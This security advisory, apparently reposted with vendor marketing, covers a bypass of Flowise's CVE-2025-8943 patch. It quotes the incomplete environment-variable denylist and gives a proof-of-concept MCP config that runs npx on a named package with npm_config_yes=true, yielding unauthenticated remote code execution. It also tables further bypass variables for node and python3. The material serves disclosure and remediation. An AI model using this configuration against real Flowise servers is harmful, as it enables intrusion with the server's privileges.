Summary
Flowise: CVE-2025-8943 Patch Bypass: npmconfigyes bypasses MCP environment variable blocklist (Unauthenticated RCE)
The mitigation shipped for CVE-2025-8943 blocks the -y and --yes flags on npx to stop auto-installation of arbitrary packages. That flag filter works. The environment-variable check in the same patch denies only four variable names by exact string match, and npm reads its configuration directly from npm_config_* environment variables. Setting npm_config_yes=true reproduces the --yes behaviour the flag filter is meant to prevent, so npx auto-installs and executes the named package. The mitigation is fully bypassed.
This works with the MCP security check enabled (CUSTOM_MCP_SECURITY_CHECK=true). On a default Flowise deployment, which ships with no authentication, the result is unauthenticated remote code execution.
Root cause
The patch treats this as a flag-filtering problem, but the behaviour gated by --yes is also reachable through npm's environment-based configuration. The same is true for the other permitted interpreters, node and python3. A denylist of variable names cannot enumerate every environment variable that alters execution, so the control is incomplete by construction. The fix is to allowlist (or strip) the environment before it reaches the child process, not to extend the denylist.
Affected version
Flowise 3.1.1, current as of 2026-03-29.
Details
Validation happens in packages/components/nodes/tools/MCP/core.ts. Two functions run in sequence before any MCP server launches: validateCommandFlags and validateEnvironmentVariables.
validateCommandFlags is thorough. It blocks -y and --yes along with a comprehensive set of dangerous flags across npx, node, python, python3, and docker. That part of the patch is sound.
The gap is in validateEnvironmentVariables:
export const validateEnvironmentVariables = (env: Record<string, any>): void => {
const dangerousEnvVars = ['PATH', 'LD_LIBRARY_PATH', 'DYLD_LIBRARY_PATH', 'NODE_OPTIONS']
for (const [key, value] of Object.entries(env)) {
if (dangerousEnvVars.includes(key)) {
throw new Error(`Environment variable '${key}' modification is not allowed`)
}
if (typeof value === 'string' && value.includes('\0')) {
throw new Error(`Environment variable '${key}' contains null byte`)
}
}
}
The blocklist is a hardcoded four-item array checked by exact match. Any variable not in that list passes through unchecked. npm_config_yes is npm's documented mechanism for setting the yes config via the environment. Set to true, it causes npx to auto-install without prompting, which is exactly what the -y and --yes flag blocks are intended to prevent.
Proof of concept
The following MCP server configuration bypasses the patch with CUSTOM_MCP_SECURITY_CHECK=true:
{
"mcpServers": {
"bypass": {
"command": "npx",
"args": ["malicious-package"],
"env": {
"npm_config_yes": "true"
}
}
}
}
Execution path:
validateCommandFlagspasses, becauseargscontains no blocked flags.validateEnvironmentVariablespasses, becausenpm_config_yesis not in the four-item blocklist.npxauto-installs and executes the named package with the privileges of the Flowise process.
On a default deployment with no authentication, any unauthenticated user who can reach the Flowise API can trigger this.
Additional bypass vectors (same root cause)
The following variables are also absent from the blocklist and influence execution through the other permitted interpreters:
| Variable | Command | Effect |
|---|---|---|
npm_config_prefix |
npx |
Redirects package installation to attacker-controlled path |
npm_config_userconfig |
npx |
Loads attacker-controlled .npmrc configuration |
NODE_PATH |
node |
Loads modules from attacker-controlled path |
PYTHONPATH |
python3 |
Loads modules from attacker-controlled path |
PYTHONSTARTUP |
python3 |
Executes a file on interpreter startup (interactive sessions only) |
References
- CVE-2025-8943
- CWE-184: Incomplete List of Disallowed Inputs
Impact
Full remote code execution with the privileges of the Flowise process. On default deployments with no authentication, no credentials are required.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
Strip the env object before passing it to the child process, or replace the name blocklist with an allowlist of explicitly permitted variables.
Adding the known dangerous variables to the blocklist (npm_config_yes, npm_config_prefix, npm_config_userconfig, NODE_PATH, PYTHONPATH, PYTHONSTARTUP) narrows the immediate gap but is a stopgap. Any future permitted interpreter reintroduces the same class of bypass.
Frequently Asked Questions
- What is CVE-2026-69263? CVE-2026-69263 is a high-severity security vulnerability in flowise (npm), affecting versions <= 3.1.2. It is fixed in 3.1.3.
- Which packages are affected by CVE-2026-69263?
flowise(npm) (versions <= 3.1.2)flowise-components(npm) (versions <= 3.1.2)
- Is there a fix for CVE-2026-69263? Yes. CVE-2026-69263 is fixed in 3.1.3. Upgrade to this version or later.
- Is CVE-2026-69263 exploitable, and should I be worried? Whether CVE-2026-69263 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-69263 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-69263?
- Upgrade
flowiseto 3.1.3 or later - Upgrade
flowise-componentsto 3.1.3 or later
- Upgrade